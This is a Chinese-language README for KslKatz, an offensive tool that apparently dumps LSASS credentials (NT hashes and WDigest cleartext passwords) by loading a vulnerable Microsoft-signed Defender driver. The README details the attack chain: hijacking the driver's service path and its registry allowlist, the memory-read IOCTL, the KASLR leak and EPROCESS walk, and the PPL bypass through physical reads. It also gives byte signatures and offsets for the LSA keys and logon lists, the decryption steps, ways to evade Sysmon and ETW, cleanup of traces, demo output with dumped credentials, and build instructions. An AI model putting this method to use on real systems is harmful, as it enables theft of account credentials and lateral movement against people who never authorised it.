# KslKatz
**使用 Microsoft Defender 的 KslD.sys 实现的 BYOVD 凭据提取器**
[](https://www.gnu.org/licenses/gpl-3.0)
[](https://www.microsoft.com/windows)
[](https://en.cppreference.com/w/cpp/20)
[](https://visualstudio.microsoft.com/)
*仅使用 Microsoft 签名的组件,从受 PPL 保护的 LSASS 中提取 MSV1_0 NT 哈希和 WDigest 明文密码。无需第三方驱动程序。所有文件均随 Windows Defender 预装。*
*与 [opus](https://claude.ai) 密切合作开发。*
## 目录
- [概述](#overview)
- [演示输出](#demo-output)
- [漏洞说明](#the-vulnerability)
- [读取原语](#the-read-primitive)
- [访问控制](#the-access-control)
- [阻止列表悖论](#the-blocklist-paradox)
- [架构](#architecture)
- [EPROCESS 发现](#eprocess-discovery)
- [物理内存读取与 PPL 绕过](#physical-memory-read-and-ppl-bypass)
- [LSA 密钥提取](#lsa-key-extraction)
- [MSV1_0 凭据提取](#msv1_0-credential-extraction)
- [WDigest 明文提取](#wdigest-cleartext-extraction)
- [攻击链](#attack-chain)
- [内嵌驱动程序](#embedded-driver)
- [与其他工具的对比](#comparison-with-other-tools)
- [受支持的 Windows 版本](#supported-windows-versions)
- [编译说明](#building)
- [项目结构](#project-structure)
- [致谢](#credits)
- [负责任的披露](#responsible-disclosure)
- [免责声明](#disclaimer)
## 概述
KslKatz 将两种经过验证的技术结合到一个独立的可执行文件中:
1. **KslD.sys BYOVD** 用于获取内核/物理内存访问权限,绕过 LSASS 上的 PPL 保护
2. **GhostKatz 风格的本地特征码扫描** 用于解析 lsasrv.dll 和 wdigest.dll 内部结构,无需进行昂贵的远程内存扫描
其成果是一个仅通过物理内存读取 LSASS 凭据的工具,它只使用磁盘上已存在的、具有 Microsoft 签名的驱动程序,不需要网络连接,不需要额外文件,并且在使用后能自动清理痕迹。
### 提取内容
| 包 | 数据 | 条件 |
|---------|------|-----------|
| **MSV1_0** | 每个登录会话的 NT Hash、LM Hash、SHA1 Hash | 交互式登录后始终可用 |
| **WDigest** | 明文密码 (UTF-16) | 需要启用 WDigest 缓存(通过注册表、GPO 或内存补丁) |
## 演示输出
```
C:\> KslKatz.exe
[*] Windows Build 20348
[*] Setting up KslD driver...
Deploying embedded driver to vKslD.sys...
Driver deployed and verified
[+] Driver loaded
[*] KASLR bypass (SubCmd 2)...
idtr=0xfffff8000b6cb000 cr3=0x6d5000
ntoskrnl=0xfffff8000bc1f000
[*] Finding lsass.exe...
Handle to SYSTEM (PID 4), our PID=5452, handle=0x124
Handle table: 35540 entries
SYSTEM EPROCESS=0xffffe60d6e099040
Offsets: PID=0x440 Links=0x448 Name=0x5a8
[*] Walk ActiveProcessLinks from SYSTEM to find lsass.exe
lsass.exe PID=724 DTB=0x1269e000
PEB=0x3ab715f000 LDR=0x7ffb7e033140
[*] Finding lsasrv.dll...
lsasrv.dll base=0x7ffb7ae80000 size=0x190000
[*] Extracting LSA encryption keys...
LSA keys found
[*] Finding LogonSessionList...
[*] Extracting MSV1_0 credentials...
[*] Checking WDigest...
[*] Finding wdigest.dll in lsass...
wdigest.dll base=0x7ffb7a3e0000 size=0x51000
l_LogSessList at 0x7ffb7a42a5c8 (RVA=0x4a5c8)
[*] Restoring driver configuration...
Removed deployed vKslD.sys
======================================================================
MSV1_0 CREDENTIALS
======================================================================
[+] 2 credential(s):
YOURDOM\admin
NT: aad3b435b51404eeaad3b435b51404ee
YOURDOM\svc_backup
NT: 31d6cfe0d16ae931b73c59d7e0c089c0
======================================================================
WDIGEST CREDENTIALS (Cleartext)
======================================================================
[+] 1 credential(s):
YOURDOM\admin
Password: Summer2025!
======================================================================
[*] Total: 2 MSV1_0, 1 WDigest
```
## 漏洞说明
KslD.sys 是作为 Microsoft Defender 一部分提供的内核驱动程序。它由 Microsoft 签名,作为受信任的内核模块加载,并公开了一个设备对象 `\\.\KslD`,可以通过 `CreateFileW` 从用户态访问。
Microsoft 并行发布了此驱动程序的两个版本:
| 版本 | 大小 | 位置 | MmCopyMemory | 状态 |
|---------|------|----------|-------------|--------|
| 已修补 | ~82 KB | `drivers\wd\KslD.sys` | 已置空 | 活跃 (ImagePath 指向此处) |
| 存在漏洞 | ~333 KB | `drivers\KslD.sys` | 可用 | **保留在磁盘上,从未被删除** |
修补后的版本在初始化期间故意清除了 `MmCopyMemory` 函数指针,从而禁用了 SubCmd 12。而存在漏洞的版本则保留了该指针。这两个二进制文件均由 Microsoft 签名并受操作系统信任。Defender 平台更新将修补后的版本放入 `wd\` 子目录并更新 `ImagePath`,但旧的易受攻击版本从未从 `drivers\` 目录中删除。
KslKatz 只是简单地通过 `ChangeServiceConfigW` 将 `ImagePath` 切换回易受攻击的版本,然后重新启动服务。
为什么旧驱动程序仍然保留在磁盘上
Microsoft 的公开文档显示,KB4052623 提供 Defender 平台更新,其中包括历史上 Defender 驱动程序向 `System32\drivers\wd\` 的迁移。Windows 维护通过 NTFS 硬链接保留 WinSxS 支持的组件存储文件,并且仅在清理期间删除被取代的组件版本。在测试系统上,这就解释了为什么较新的 82 KB KslD.sys 会通过 Defender 平台更新路径到达,而较旧的 333 KB `System32\drivers\KslD.sys` 仍然作为当前 CBS 支持的组件存储副本保留下来,直到被更新的 CBS 版本明确取代。
### 读取原语
该漏洞的核心是 SubCmd 12,这是一个暴露给用户态的无限制 `MmCopyMemory()` 包装器:
```
// IOCTL 0x222044, SubCmd 12
struct IoReadInput {
DWORD SubCmd; // 12
DWORD Reserved; // 0
QWORD Address; // Target virtual or physical address
QWORD Size; // Number of bytes to read
DWORD Flags; // 1 = Physical, 2 = Virtual
DWORD Padding;
};
// Output: raw memory contents, up to Size bytes
```
| 标志 | 模式 | 描述 |
|------|------|-------------|
| 1 | **物理** | 通过 `MmCopyMemory` 读取任何物理地址。不受 PPL、EPROCESS 保护或任何用户态 API 限制的影响。这就是 PPL 绕过原语。 |
| 2 | **虚拟** | 直接读取内核虚拟地址。用于遍历内核结构(EPROCESS、IDT、ntoskrnl),无需手动转换页表。 |
SubCmd 2 提供了额外的信息泄露:
```
// IOCTL 0x222044, SubCmd 2
// Returns CPU register name/value pairs (8 bytes name + 8 bytes value each)
// Key registers: CR3 (current DTB), IDTR (IDT base), CR0, CR4
```
SubCmd 2(破解 KASLR)和 SubCmd 12(任意读取)相结合,提供了从用户态进行完整内核内存自省的能力。
### 访问控制
该驱动程序通过将调用进程的映像路径与存储在 `HKLM\SYSTEM\CurrentControlSet\Services\KslD` 下的 `AllowedProcessName` 注册表值进行比较来验证调用进程。该值包含完整的 NT 设备路径,例如 `\Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.x\MsMpEng.exe`。
此检查可以被轻而易举地绕过,因为该注册表值:
- 可以被任何本地管理员编辑
- 不受 Defender 的防篡改保护机制保护
- 未针对代码签名、二进制完整性或任何加密属性进行验证
- 仅仅是普通的字符串比较,没有任何额外验证
KslKatz 将自身的 NT 设备路径写入 `AllowedProcessName`,重新启动服务,并打开设备句柄。
### 阻止列表悖论
Microsoft 维护着一个[易受攻击的驱动程序阻止列表](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules)(`DriverSiPolicy.p7b`),通过 HVCI 强制执行以防止 BYOVD 攻击。根据他们的文档:
**Microsoft 自己的驱动程序在设计上被排除在阻止列表之外。**
## 架构
### EPROCESS 发现
KslKatz 需要在内核内存中找到 `lsass.exe` 的 EPROCESS 结构,以获取其 Directory Table Base (DTB/CR3) 用于页表遍历。该方法使用 `SystemHandleInformation` API 来泄露内核对象指针:
```
1. OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, PID=4)
-> Obtains a handle to the SYSTEM process
2. RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE)
-> Required for Object pointers in handle table results
3. NtQuerySystemInformation(SystemHandleInformation)
-> Returns all open handles in the system with their Object pointers
-> Find our handle by matching (our PID, our handle value)
-> Object field = kernel address of SYSTEM EPROCESS
4. Read SYSTEM EPROCESS via SubCmd 12 (virtual read, 0x800 bytes)
-> Scan for PID=4 followed by a kernel pointer -> UniqueProcessId + ActiveProcessLinks offsets
-> Scan for "System\0" string -> ImageFileName offset
-> All offsets detected dynamically, no hardcoded values per build
5. Walk ActiveProcessLinks doubly-linked list
-> Read ImageFileName at each EPROCESS
-> Match "lsass.exe" -> extract DTB from EPROCESS+0x28
-> Auto-detect PEB offset by scanning for valid usermode pointer with PEB/LDR structure
```
为什么不使用 PsInitialSystemProcess?
像 GhostKatz 和 Mimikatz 这样的工具通过从 ntoskrnl.exe 导出表解析 `PsInitialSystemProcess` 来定位 SYSTEM EPROCESS(`EnumDeviceDrivers` + `LoadLibrary("ntoskrnl.exe")` + `GetProcAddress`)。这种方法有两个问题:
1. **LoadLibrary 会触发 ETW/Sysmon 事件。** 将 ntoskrnl.exe 加载到进程中会生成映像加载事件(Sysmon Event 7),而防御工具会对此进行监控。
2. **导出目录在较新的版本中已损坏。** 在 Windows 11 Build 26200+ 上,ntoskrnl 的 PE 导出目录头具有 `exp_sz=0x6b`(仅 107 字节),而实际的导出表位于单独的 RVA 中。Python 和 C++ PE 解析器都无法从此布局中解析出导出表。
`SystemHandleInformation` 方法避免了这两个问题:不需要加载 DLL,不需要解析导出表,并且它适用于从 7600 到 26200 的所有测试版本。
### 物理内存读取与 PPL 绕过
Protected Process Light (PPL) 旨在通过阻止来自用户态针对 LSASS 的 `OpenProcess` 和 `ReadProcessMemory` 调用来防止凭据被盗。然而,PPL 仅保护用户态 API 路径。它对内核态的物理内存操作没有任何权限。
KslD.sys 的 SubCmd 12 使用攻击者提供的物理地址调用 `MmCopyMemory()`。此内核 API 在进程保护层之下运行,无论物理内存页属于哪个进程,都会读取它们。
KslKatz 使用手动页表遍历将 lsass 虚拟地址转换为物理地址。GhostKatz 为此目的使用 Superfetch(`NtQuerySystemInformation` Class 79),构建全局 PFN 到 VA 的转换表。两种方法通过不同的手段实现了相同的结果。
```
lsass DTB (from EPROCESS+0x28)
|
CR3 -> PML4 Table (512 entries, each 8 bytes)
-> PML4E[va_bits[47:39]] -> PDPT Table
-> PDPTE[va_bits[38:30]] -> Page Directory
-> Large page (1GB)? -> PA = (entry & mask) | va_offset
-> PDE[va_bits[29:21]] -> Page Table
-> Large page (2MB)? -> PA = (entry & mask) | va_offset
-> PTE[va_bits[20:12]] -> 4KB Page
-> PA = (PTE & 0xFFFFFFFFF000) | va_bits[11:0]
```
每个级别都需要通过 SubCmd 12 进行一次物理读取。完整的转换需要 4-5 次 IOCTL。该实现还处理过渡页(备用列表,PTE 中设置的第 11 位),这种情况在被修剪出工作集但未换出的 LSASS 内存中很常见。
### LSA 密钥提取
LSASS 使用两个对称密钥(AES-256 和 3DES-168)以及一个 16 字节的初始化向量 (IV) 对所有缓存的凭据进行加密。它们存储在 `lsasrv.dll` 内部的全局变量中,并由 Mimikatz 最初识别的代码模式所引用。
KslKatz 使用**本地文件扫描**方法,而不是扫描远程 lsass 内存:
```
1. ReadFile("C:\Windows\System32\lsasrv.dll")
-> Read entire DLL as raw bytes (std::ifstream, no LoadLibrary, no ETW event)
2. Parse PE header manually
-> Find .text section: raw_offset, raw_size, virtual_address
3. Scan .text raw bytes for signature patterns
-> 9 signature variants covering Windows Vista through 11 24H2
-> Each signature has offsets to IV, 3DES key ptr, and AES key ptr
4. Resolve RIP-relative displacements from raw bytes
-> disp32 at sig_offset + iv_off
-> target_rva = text_virtual_address + instruction_offset + 4 + disp32
5. Convert RVA to lsass virtual address
-> target_va = lsasrv_base_in_lsass + target_rva
6. Read actual key data from lsass (3 targeted physical reads)
-> IV: 16 bytes directly
-> h3DesKey and hAesKey: pointer dereference + BCRYPT structure traversal
```
为什么要从磁盘读取而不是使用 LoadLibrary?
`LoadLibraryA("lsasrv.dll")` 会将 DLL 加载到我们的进程中,这会:
- 触发 Sysmon Event 7 (Image Load) 和 ETW `Microsoft-Windows-Kernel-Process` 事件
- 执行 `DllMain` 并可能产生副作用
- 出现在 PEB 模块列表中,对任何进程检查器可见
使用 `std::ifstream` 从磁盘读取文件仅生成标准文件读取操作。没有映像加载事件,不执行 DllMain,没有 PEB 条目。原始字节包含相同的 `.text` 节、相同的特征码和相同的 RIP 相对位移。唯一的区别是地址必须计算为 RVA(相对于节的虚拟地址)而不是绝对指针。
这也是 KslKatz 与 GhostKatz 的不同之处,后者在其本地特征码扫描中使用了 `LoadLibraryA`。
BCRYPT 密钥结构遍历
LSA 密钥变量(`hAesKey`、`h3DesKey`)是指向 `BCRYPT_HANDLE_KEY` 结构的指针。实际的对称密钥字节深埋于三层结构之下:
```
hAesKey (global variable in lsasrv.dll .data section)
|
poi(hAesKey) -> BCRYPT_HANDLE_KEY
+0x00: size
+0x04: tag = "UUUR" (0x55555552) <- validation checkpoint
+0x08: hAlgorithm
+0x10: key pointer -----------------> BCRYPT_KEY81
+0x00: size
+0x04: tag = "MSSK" (0x4D53534B) <- validation checkpoint
+0x08: type, unk0-unk9 fields
+0x38: HARD_KEY
+0x00: cbSecret (ULONG, key length in bytes)
+0x04: data[cbSecret] <- actual AES/3DES key bytes
```
特征码表中的 `hk_off` 字段指定了密钥结构内 `HARD_KEY` 的偏移量。这因 Windows 版本而异:
| 结构 | hk_off | Windows 版本 |
|-----------|--------|-----------------|
| `BCRYPT_KEY` | `0x18` | Vista, 7 |
| `BCRYPT_KEY80` | `0x28` | 8, 8.1 |
| `BCRYPT_KEY81` | `0x38` | 10, 11, Server 2016+ |
KslKatz 在读取密钥数据之前会验证 "UUUR" 和 "MSSK" 标签,以防止由于过时或不正确的特征码匹配而产生误报。
所有受支持的 LSA 密钥特征码
| 特征码 | IV 偏移量 | DES 偏移量 | AES 偏移量 | hk_off | Windows 版本 |
|---------|-----------|------------|------------|--------|-----------------|
| `83 64 24 30 00 48 8d 45 e0 44 8b 4d d8 48 8d 15` | 71 | -89 | 16 | 0x38 | 11 22H2+ |
| 相同特征码 | 58 | -89 | 16 | 0x38 | 11 21H2 |
| 相同特征码 | 67 | -89 | 16 | 0x38 | 10 1809-1909 |
| 相同特征码 | 61 | -73 | 16 | 0x38 | 10 15071803 |
| `83 64 24 30 00 44 8b 4d d8 48 8b 0d` | 62 | -70 | 23 | 0x38 | 8.1 (KEY81) |
| 相同特征码 | 62 | -70 | 23 | 0x28 | 8 (KEY80) |
| 相同特征码 | 58 | -62 | 23 | 0x28 | 8 (备选) |
| `83 64 24 30 00 44 8b 4c 24 48 48 8b 0d` | 59 | -61 | 25 | 0x18 | 7 |
| 相同特征码 | 63 | -69 | 25 | 0x18 | Vista |
### MSV1_0 凭据提取
MSV1_0 是 Windows 中的主要身份验证包。它为每个交互式登录会话缓存 NT 哈希。`LogonSessionList` 是 `lsasrv.dll` 内部的一个链表(或在较新的内部版本中为链表数组),包含所有活动会话。
KslKatz 使用相同的本地文件扫描技术定位 `LogonSessionList`,然后通过读取物理内存来遍历该列表:
```
LogonSessionList[0..count-1] (array of list heads, count from LogonSessionListCount)
|
poi(head) -> Flink
|
Entry (KIWI_MSV1_0_LIST_63)
+0x00: Flink -> next entry
+0x70: LUID -> logon session ID
+0x90: Username (UNICODE_STRING) -> e.g. "admin"
+0xA0: Domain (UNICODE_STRING) -> e.g. "YOURDOM"
+0xD0: pSid -> user SID
+0x108: Credentials pointer ---------> KIWI_MSV1_0_CREDENTIALS
+0x00: next -> credential chain (linked list)
+0x10: PrimaryCredentials ---------> KIWI_MSV1_0_PRIMARY_CREDENTIALS
+0x00: next -> primary cred chain
+0x08: Primary (ANSI_STRING) -> package name, must be "Primary"
+0x18: encrypted blob length
+0x20: encrypted blob pointer ---> encrypted MSV1_0_PRIMARY_CREDENTIAL
```
加密数据块使用 LSA 密钥进行解密:
- 如果 `blob_length % 8 != 0`:使用 hAesKey + 完整 IV (16 字节) 进行 **AES-CFB128**
- 如果 `blob_length % 8 == 0`:使用 h3DesKey + IV[:8] 进行 **3DES-CBC**
解密后的 `MSV1_0_PRIMARY_CREDENTIAL` 结构包含:
| 偏移量 | 大小 | 字段 |
|--------|------|-------|
| 0x40 | 1 | isIso (Credential Guard 隔离) |
| 0x41 | 1 | isNtOwfPassword (存在 NT 哈希) |
| 0x46 | 16 | NT Hash |
| 0x56 | 16 | LM Hash |
| 0x66 | 20 | SHA1 Hash |
KslKatz 在提取哈希之前会检查 `isIso == 0` 和 `isNtOwfPassword == 1`。如果 Credential Guard 处于活动状态,则会设置 `isIso`,并且实际的哈希值将隔离在基于虚拟化的安全 (VBS) 飞地中,甚至通过读取物理内存也无法访问。
MSV1_0 凭据何时被缓存?
| 登录类型 | 场景 | 缓存的凭据 |
|------------|----------|--------------------|
| 类型 2 (交互式) | 控制台登录、UAC 提权 | 是,NT/LM/SHA1 |
| 类型 10 (远程交互式) | RDP 会话 | 是,NT/LM/SHA1 |
| 类型 9 (NewCredentials) | `runas /netonly` | 是,针对新身份 |
| 类型 5 (服务) | 作为域帐户运行的服务 | 是,服务运行期间 |
| 类型 3 (网络) | SMB/NTLM 网络身份验证 | 仅会话令牌,**无哈希缓存** |
凭据在登录会话的整个生命周期内持续存在。通过 RDP 登录但处于断开连接(未注销)状态的用户,其哈希值将保留在内存中,直到会话终止。这就是凭据卫生和会话管理至关重要的原因。
所有受支持的 LogonSessionList 特征码
| 特征码 | 偏移量 | min_build | Windows 版本 |
|---------|--------|-----------|-----------------|
| `45 89 34 24 48 8b fb 45 85 c0 0f` | 25 | 26200 | 11 24H2/25H2 |
| `45 89 34 24 8b fb 45 85 c0 0f` | 25 | 26200 | 11 24H2 (备选) |
| `45 89 37 49 4c 8b f7 8b f3 45 85 c0 0f` | 27 | 22631 | 11 22H2-23H2 |
| `45 89 34 24 4c 8b ff 8b f3 45 85 c0 74` | 24 | 20348 | Server 2022, 11 21H2 |
| `33 ff 41 89 37 4c 8b f3 45 85 c0 74` | 23 | 18362 | 10 1903-2004 |
| `33 ff 41 89 37 4c 8b f3 45 85 c9 74` | 23 | 17134 | 10 1803 |
| `33 ff 45 89 37 48 8b f3 45 85 c9 74` | 23 | 15063 | 10 1703 |
| `33 ff 41 89 37 4c 8b f3 45 85 c0 74` | 16 | 10240 | 10 1507-1607 |
### WDigest 明文提取
WDigest 是一种较旧的 HTTP 摘要身份验证协议。启用后,`wdigest.dll` 会将明文密码缓存在名为 `l_LogSessList` 的内部双向链表中,以便将其重新用于后续的身份验证。
KslKatz 通过从磁盘读取 `wdigest.dll` 并扫描特征码模式来定位 `l_LogSessList`:
```
Disassembly at the signature location:
48 8d 0d xx xx xx xx lea rcx, [rip+disp32] ; rcx = &l_LogSessList
48 3b d9 cmp rbx, rcx ; <-- signature: 48 3b d9 74
74 xx je short skip
The disp32 displacement is at signature_offset - 4 in the raw .text bytes.
target_rva = text_virtual_address + signature_offset + disp32
l_LogSessList_va = wdigest_base_in_lsass + target_rva
```
列表结构:
```
l_LogSessList (Head)
|
Flink -> KIWI_WDIGEST_LIST_ENTRY
+0x00: Flink -> next entry
+0x08: Blink -> previous entry
+0x10: UsageCount (ULONG)
+0x18: This (self-pointer)
+0x20: LUID (logon session ID)
+0x28: (unknown/reserved)
+0x30: Username (UNICODE_STRING) -> e.g. "admin"
+0x40: Domain (UNICODE_STRING) -> e.g. "YOURDOM"
+0x50: Password (UNICODE_STRING) -> encrypted cleartext password
```
位于偏移量 `+0x50` 处的密码使用 **3DES-CBC** 加密,使用的是在 LSA 密钥提取期间提取的相同 `h3DesKey` 和 `IV[:8]`。解密后,结果即为 UTF-16LE 字符串格式的明文密码。
对于计算机帐户(用户名以 `$` 结尾),解密后的密码是二进制数据块而不是可读文本。KslKatz 将这些内容输出为十六进制字符串。
WDigest 缓存何时处于活动状态?
WDigest 明文缓存由加载的 `wdigest.dll` 内部的 `g_fParameter_UseLogonCredential` 控制。可以通过多种途径设置此变量:
| 方法 | 持续性 | 检测 |
|--------|------------|-----------|
| 注册表:`HKLM\...\WDigest\UseLogonCredential = 1` | 重启后依然保留 | 易于审计 |
| 组策略 | 重启后依然保留 | GPO 审计跟踪 |
| 在内存中将 `g_fParameter_UseLogonCredential` 补丁修改为 1 | 直到重启 | 无注册表痕迹 |
| 在内存中将 `g_IsCredGuardEnabled` 补丁修改为 0 | 直到重启 | 绕过 Credential Guard 检查 |
在 Windows 10+ 上,默认值为 `UseLogonCredential=0`(禁用缓存)。在 Windows 7/8 上,默认为启用。
KslKatz **始终尝试进行 WDigest 提取**,而不考虑注册表值,因为内存中的状态可能与注册表声明的不同(例如,通过 NativeBypassCredGuard 等工具进行内存补丁之后)。如果 `l_LogSessList` 为空或未映射,KslKatz 将报告此情况而不会报错。
## 攻击链
```
KslKatz Execution Flow
+------------------------------------------------------------------------+
| |
| 1. DRIVER SETUP |
| Check drivers\KslD.sys (SHA256) -> found? use it |
| Check drivers\vKslD.sys (SHA256) -> found? use it |
| Neither? -> deploy from embedded payload, verify SHA256 |
| ChangeServiceConfigW(ImagePath = vulnerable driver) |
| RegSetValueEx(AllowedProcessName = our NT device path) |
| StartServiceW(KslD) -> CreateFileW("\\.\KslD") |
| |
| 2. KASLR BYPASS |
| SubCmd 2 -> IDTR base address + CR3 |
| Read IDT entries -> find lowest ISR address |
| Scan backwards (page-aligned) for MZ header -> ntoskrnl base |
| |
| 3. EPROCESS DISCOVERY |
| OpenProcess(PID 4) -> NtQuerySystemInformation(HandleInfo) |
| -> SYSTEM EPROCESS kernel address |
| Detect PID/Links/Name offsets dynamically from SYSTEM EPROCESS |
| Walk ActiveProcessLinks -> find lsass.exe |
| Read DTB from EPROCESS+0x28, auto-detect PEB offset |
| |
| 4. LSA KEY EXTRACTION |
| ReadFile(lsasrv.dll) -> local .text signature scan |
| RIP-relative RVA resolution -> 3 targeted physical reads |
| BCRYPT_HANDLE_KEY -> BCRYPT_KEY81 -> HARD_KEY -> AES + 3DES + IV |
| |
| 5. MSV1_0 EXTRACTION |
| ReadFile(lsasrv.dll) -> local scan for LogonSessionList |
| Walk linked list via physical reads |
| Decrypt Primary credentials -> NT / LM / SHA1 hashes |
| |
| 6. WDIGEST EXTRACTION |
| ReadFile(wdigest.dll) -> local scan for l_LogSessList |
| Walk linked list via physical reads |
| 3DES-CBC decrypt -> cleartext passwords |
| |
| 7. CLEANUP |
| ChangeServiceConfigW(original ImagePath) |
| RegSetValueEx(original AllowedProcessName) |
| StartServiceW (restore original driver state) |
| DeleteFileW(vKslD.sys) if we deployed it |
| |
+------------------------------------------------------------------------+
```
## 内嵌驱动程序
KslKatz 将存在漏洞的 333KB KslD.sys 直接作为编译进的 C 数组(`driver_payload.h`)进行内嵌。这使得该工具完全独立,没有外部文件依赖。
| 优先级 | 路径 | 条件 | 操作 |
|----------|------|-----------|--------|
| 1 | `drivers\KslD.sys` | 存在,大小=333216,SHA256 匹配 | 直接使用,不写入文件 |
| 2 | `drivers\vKslD.sys` | 存在,大小=333216,SHA256 匹配 | 直接使用,不写入文件 |
| 3 | 内嵌负载 | 均未找到 | 写入 `vKslD.sys`,验证 SHA256,在清理时删除 |
驱动程序 SHA256:`bd17231833aa369b3b2b6963899bf05dbefd673db270aec15446f2fab4a17b5a`
## 与其他工具的对比
| 特性 | KslKatz | GhostKatz | Mimikatz | KernelKatz |
|---------|---------|-----------|----------|------------|
| 驱动程序 | Microsoft 签名的 KslD.sys | 第三方漏洞驱动程序 | 无(用户态) | 第三方漏洞驱动程序 |
| 读取原语 | 通过 IOCTL 调用 `MmCopyMemory` | 逐字节物理读取 | `OpenProcess` + `ReadProcessMemory` | 内核读取 |
| PPL 绕过 | 是(物理读取) | 是(物理读取) | 否(被 PPL 阻止) | 是 |
| 地址转换 | 页表遍历 | Superfetch PFN 数据库 | 不适用(用户态) | 不定 |
| 特征码扫描 | 本地文件读取(无 ETW) | `LoadLibrary`(触发 ETW 事件) | 进程内 | 不定 |
| EPROCESS 发现 | 句柄表泄露 | `PsInitialSystemProcess` 导出 | `OpenProcess` | 不定 |
| MSV1_0 哈希 | 是 | 是 | 是 | 是 |
| WDigest 明文 | 是 | 是 | 是 | 不定 |
| 独立 EXE | 是(内嵌驱动程序) | 否(BOF + 驱动程序文件) | 是 | 否 |
| 清理 | 完全还原(SCM + 注册表) | 删除服务 | 不适用 | 不定 |
## 受支持的 Windows 版本
| 版本 | 内部版本 | MSV1_0 | WDigest | 已测试 |备注 |
|---------|-------|--------|---------|-------|-------|
| Windows 7 | 7600 | 是 | 是 | 否 | 默认启用 WDigest |
| Windows 8 | 9200 | 是 | 是 |否 | 默认启用 WDigest |
| Windows 8.1 | 9600 | 是 | 是 |否 | 默认启用 WDigest |
| Windows 10 1507-1607 | 10240-14393 | 是 | 是 |否| 默认禁用 WDigest |
| Windows 10 1703 | 15063 | 是 | 是 |否 |
| Windows 10 1803 | 17134 | 是 | 是 |否 |
| Windows 10 1809-1909 | 17763-18363 | 是 | 是 |否 |
| Windows 10 2004-22H2 | 19041-19045 | 是 | 是 | 否 |
| Windows Server 2022 | 20348 | 是 | 是 | 是 |
| Windows 11 21H2-23H2 | 22000-22631 | 是 | 是 |否 |
| Windows 11 24H2/25H2 | 26100-26200 | 是 | 是 |是 |

## 编译说明
**要求:** Visual Studio 2022、C++20(MSVC v143 工具集)、Windows SDK 10.0
```
git clone https://github.com/S1lky/KslKatz.git
cd KslKatz
```
在 Visual Studio 2022 中打开 `KslKatz.sln`。选择 **x64 Release**。进行编译。
输出:`bin\Release\KslKatz.exe`(约 700KB 独立文件,无运行时依赖项)
## 项目结构
```
KslKatz/
KslKatz.sln Visual Studio 2022 solution
KslKatz.vcxproj Project file (x64, C++20, v143)
KslKatz.vcxproj.filters Source file grouping
src/
common.h Shared types, unaligned read helpers, credential structs
driver.h / driver.cpp KslD IOCTL interface, SCM service management,
SHA256 driver verification, embedded driver deployment
driver_payload.h Vulnerable KslD.sys as uint8_t array (333KB, 20K lines)
memory.h / memory.cpp Page table walk (PML4/PDPT/PD/PT + transition pages),
proc_read, read_ptr, resolve_rip, read_ustr, pattern scan
crypto.h / crypto.cpp AES-CFB128 (manual ECB+XOR), 3DES-CBC, RC4, DES-ECB,
MD5, SHA256 -- all via Windows CNG (bcrypt.lib)
lsa.h / lsa.cpp KASLR bypass, EPROCESS leak via SystemHandleInformation,
LSA key extraction (local file scan + BCRYPT traversal),
LogonSessionList walk, MSV1_0 credential decryption
wdigest.h / wdigest.cpp l_LogSessList location via local file scan,
linked list walk, 3DES-CBC password decryption
main.cpp Orchestration, phase sequencing, output formatting
```
## 致谢
- [**Mimikatz**](https://github.com/gentilkiwi/mimikatz),作者 Benjamin Delpy -- LSA 结构定义、特征码模式、凭据解密逻辑,以及使这一切成为可能的基础研究
- [**GhostKatz**](https://github.com/RainbowDynamix/GhostKatz),作者 Julian Pena 和 Eric Esquivel -- 本地特征码扫描方法、WDigest 列表遍历以及 Superfetch 地址转换概念
- [**KslDump**](https://github.com/andreisss/KslDump),作者 Andrea Bocchetti -- KslD.sys BYOVD 漏洞发现、IOCTL 逆向工程以及最初的 Python PoC
## 负责任的披露
KslD.sys 漏洞已报告给 Microsoft 安全响应中心 (MSRC)。该报告被关闭并标记为**“不是漏洞”**,理由如下:
未分配 CVE。未发布修复程序。存在漏洞的驱动程序仍保留在磁盘上。
## 免责声明
此工具仅供授权的安全测试和教育目的使用仅在您拥有或获得明确书面许可进行测试的系统上使用它。未经授权访问计算机系统是违法行为。对于任何滥用行为,作者不承担任何责任。
*使用 C++20 编写 | 无外部依赖项 | 单一独立可执行文件*